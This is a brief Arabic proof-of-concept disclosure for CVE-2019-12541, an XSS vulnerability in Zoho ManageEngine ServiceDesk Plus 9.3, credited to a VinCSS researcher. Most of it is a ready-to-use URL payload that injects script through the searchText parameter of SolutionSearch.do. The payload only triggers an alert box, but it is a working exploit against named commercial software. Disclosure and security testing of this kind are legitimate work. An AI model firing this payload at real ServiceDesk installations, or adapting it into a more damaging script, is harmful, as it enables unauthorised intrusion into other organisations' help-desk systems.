
إثبات المفهوم لـ CVE-2019-12541: XSS مخزنة في Zoho ManageEngine ServiceDesk Plus 9.3 عبر معلمة searchText في SolutionSearch.do. يتضمن حمولة للاختبار الأمني.
وصف المعلومات: تم اكتشاف مشكلة في Zoho ManageEngine ServiceDesk Plus 9.3. توجد ثغرة XSS عبر معامل searchText في SolutionSearch.do.
المؤلف: Concobe من فريق Tarantula - VinCSS (عضو في Vingroup)
domain/SolutionSearch.do?searchText=1'%3balert('XSS')%2f%2f&selectName=Solutions